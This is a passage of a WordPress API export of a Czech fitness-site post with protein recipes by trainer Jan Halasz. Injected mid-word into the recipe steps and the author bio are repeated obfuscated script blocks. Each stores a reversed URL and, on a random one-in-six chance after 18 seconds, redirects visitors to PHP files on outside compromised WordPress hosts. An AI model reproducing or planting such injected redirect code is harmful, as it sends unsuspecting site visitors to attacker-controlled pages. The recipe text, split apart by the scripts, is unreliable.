pe\u010d\u00edc\u00edm pap\u00edrem.<\/li>\n<li>V misce sm\u00edchejte M\u016fj b\u00edlek s vodou a jemn\u011b m\u00edchejte 1-2 minuty, aby se voda a b\u00edlek spojily.<\/li>\n<li>Na rozeh\u0159\u00e1<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou p\u00e1nev vlijte teku<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou sm\u011bs s b\u00edlkem a zhruba 2 minuty za st\u00e1l\u00e9ho m\u00edch\u00e1n\u00ed va\u0159te, dokud v\u00e1m nevznikne sm\u011bs podobn\u00e1 m\u00edchan\u00fdm vejc\u00edm. Osolte, opep\u0159ete a odstavte.<\/li>\n<li>Placku na pizzu pot\u0159ete pestem a protlakem, pot\u00e9 p\u0159idejte p\u0159ipraven\u00fd b\u00edlek, p\u0159ideje nakr\u00e1jenou cibul\u00ed a posypte bylinkami. Osolte a opep\u0159ete.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<ul>\n<li>Dejte na cca 6-8 minut do trouby.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-192 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/halasz-197x300.jpg\" alt=\"\" width=\"148\" height=\"225\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/halasz-197x300.jpg 197w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/halasz.jpg 640w\" sizes=\"auto, (max-width: 148px) 100vw, 148px\" \/><\/p>\n<p><span style=\"color: #3366ff;\">Jan Halasz pracuje jako osobn\u00ed tren\u00e9r v\u00a0Olympia fitness Opa<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov. O jeho schopnostech a profesion\u00e1ln\u00edm p\u0159\u00edstupu vypov\u00edd\u00e1 nejenom cel\u00e1 \u0159ada spokojen\u00fdch klient\u016f, ale tak\u00e9 \u010dty\u0159i zlat\u00e9 medaile ze z\u00e1vod\u016f, v\u010detn\u011b titulu absolutn\u00edho v\u00edt\u011bze M\u010cR v\u00a0kategorii Men\u00b4s Physique.<\/span><\/p>\n<p><span style=\"color: #3366ff;\"><a href=\"http:\/\/www.janhalasz.cz\">www.janhalasz.cz<\/a><\/span><\/p>\n<p><span style=\"color: #3366ff;\">IG: @<u><a href=\"http:\/\/www.instagram.com\/brut_one_ifbb\">brut_one_ifbb<\/a><\/u><\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cesta ke sportovn\u00edm v\u00fdsledk\u016fm je dl\u00e1\u017ed\u011bn\u00e1 d\u0159inou ve fitku a v\u00a0\u017e\u00e1dn\u00e9m p\u0159\u00edpad\u011b se neobejde bez vhodn\u00e9 stravy. To nen\u00ed \u017e\u00e1dn\u00e1 velk\u00e1 novinka, dokonce nikoho nep\u0159ekvap\u00ed, \u017ee v\u00fd\u017eiva sportovce mus\u00ed b\u00fdt: vyv\u00e1\u017een\u00e1 pravideln\u00e1 pestr\u00e1 v\u00a0dostate\u010dn\u00e9m mno\u017estv\u00ed. &nbsp; V\u00a0praxi ale naraz\u00edte na to, \u017ee pokud si m\u00e1te zdrav\u00e9 j\u00eddlo p\u0159ipravovat sami, budete kl\u00e1st n\u00e1roky tak\u00e9 na: nen\u00e1ro\u010dnost p\u0159\u00edpravy a dostupnost ingredienc\u00ed Na to se v\u00a0mnoha komplikovan\u00fdch receptur\u00e1ch zapom\u00edn\u00e1, a tak se do j\u00eddeln\u00ed\u010dk\u016f \u0159ady z\u00a0v\u00e1s mo\u017en\u00e1 vkr\u00e1d\u00e1 stereotyp, nebo se va\u0159en\u00ed sna\u017e\u00edte delegovat na n\u011bkoho kulin\u00e1\u0159sky zdatn\u011bj\u0161\u00edho. Z\u00e1vodn\u00edk kategorie Men\u00b4s Physique Honza Halasz v\u00e1s p\u0159esv\u011bd\u010d\u00ed, \u017ee kdy\u017e si ve fitku porad\u00edte s\u00a0\u010dinkami, zvl\u00e1dnete to i v\u00a0kuchyni s\u00a0va\u0159e\u010dkou. \u00a0 Zape\u010den\u00e9 tousty Doba p\u0159\u00edpravy: 10 minut N\u00e1ro\u010dnost: snadn\u00e1 \u00a0 Ingredience: 4 tousty(americk\u00e9\/v\u011bt\u0161\u00ed) 4 vaj\u00ed\u010dka 4 pl\u00e1tky cheddaru 2 pl\u00e1tky ku\u0159ec\u00ed \u0161unky 10 dkg s\u00fdru eidam na nastrouh\u00e1n\u00ed petr\u017eel na posyp Postup Ze 4\u00a0toust\u016f vy\u0159\u00edzneme st\u0159edy (cca 4&#215;4 cm \u010dtverec), aby n\u00e1m z\u016fstal cca 1cm okraj, kter\u00fd budeme pot\u0159ebovat. (Vykrojen\u00e9 st\u0159edy d\u00e1le nevyu\u017eijeme.) Tousty vlo\u017e\u00edme na rozeh\u0159\u00e1tou p\u00e1nev s\u00a0m\u00e1slem a do st\u0159edu toust\u016f vylijeme rozm\u00edchan\u00e9 4 b\u00edlky a dva \u017eloutky \u2013 osolen\u00e9 a opep\u0159en\u00e9, p\u0159ikryjeme pokli\u010dkou a nech\u00e1me zap\u00e9ct, oto\u010d\u00edme a ope\u010deme z\u00a0druh\u00e9 strany do zlatova (!!!! 2 syrov\u00e9 \u017eloutky vcelku nech\u00e1me na ozdoben\u00ed). Na ope\u010denou stranu toustu d\u00e1me dva pl\u00e1tky cheddaru a jeden pl\u00e1tek \u0161unky, nech\u00e1me na p\u00e1nvi pod pokli\u010dkou m\u00edrn\u011b rozeh\u0159\u00e1t s\u00fdr, na to d\u00e1me druh\u00fd ope\u010den\u00fd toust, nastrouhan\u00fd s\u00fdr a \u017eloutek, v\u0161e nech\u00e1me na rozeh\u0159\u00e1t\u00e9 p\u00e1nvi 2 minuty. Nakonec ozdob\u00edme nadrobno pokr\u00e1jenou petr\u017eel\u00ed. &nbsp; Pizza s b\u00edlkem a pestem \u010cas pe\u010den\u00ed: 6-8 minut Celkov\u00e1 doba p\u0159\u00edpravy: do 20 minut N\u00e1ro\u010dnost: snadn\u00e1 \u00a0 Ingredience: 1\/3 balen\u00ed M\u016fj b\u00edlek 1 balen\u00ed t\u011bsta na pizzu (cca 300 g) 40 ml vody 3 l\u017e\u00edce bazalkov\u00e9ho pesta 3 l\u017e\u00edce raj\u010datov\u00e9ho protlaku l\u017e\u00edce provens\u00e1lsk\u00fdch bylinek s\u016fl a pep\u0159 na dochucen\u00ed 30 g \u010derven\u00e9 cibule &nbsp; Postup Troubu p\u0159edeh\u0159ejte na 180 \u00b0C, plech vylo\u017ete pe\u010d\u00edc\u00edm pap\u00edrem. V misce sm\u00edchejte M\u016fj b\u00edlek s vodou a jemn\u011b m\u00edchejte 1-2 minuty, aby se voda a b\u00edlek spojily. Na rozeh\u0159\u00e1tou p\u00e1nev vlijte tekutou sm\u011bs s b\u00edlkem a zhruba 2 minuty za st\u00e1l\u00e9ho m\u00edch\u00e1n\u00ed va\u0159te, dokud v\u00e1m nevznikne sm\u011bs podobn\u00e1 m\u00edchan\u00fdm vejc\u00edm. Osolte, opep\u0159ete a odstavte. Placku na pizzu pot\u0159ete pestem a protlakem, pot\u00e9 p\u0159idejte p\u0159ipraven\u00fd b\u00edlek, p\u0159ideje nakr\u00e1jenou cibul\u00ed a posypte bylinkami. Osolte a opep\u0159ete. Dejte na cca 6-8 minut do trouby. Jan Halasz pracuje jako osobn\u00ed tren\u00e9r v\u00a0Olympia fitness Opatov. O jeho schopnostech a profesion\u00e1ln\u00edm p\u0159\u00edstupu vypov\u00edd\u00e1 nejenom cel\u00e1 \u0159ada spokojen\u00fdch klient\u016f, ale tak\u00e9 \u010dty\u0159i zlat\u00e9 medaile ze z\u00e1vod\u016f, v\u010detn\u011b titulu absolutn\u00edho v\u00edt\u011bze M\u010cR v\u00a0kategorii Men\u00b4s Physique. www.janhalasz.cz IG: @brut_one_ifbb &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":188,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-187","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/187","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=187"}],"version-history":[{"count":3,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/187\/revisions"}],"predecessor-version":[{"id":194,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/187\/revisions\/194"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/188"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=187"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}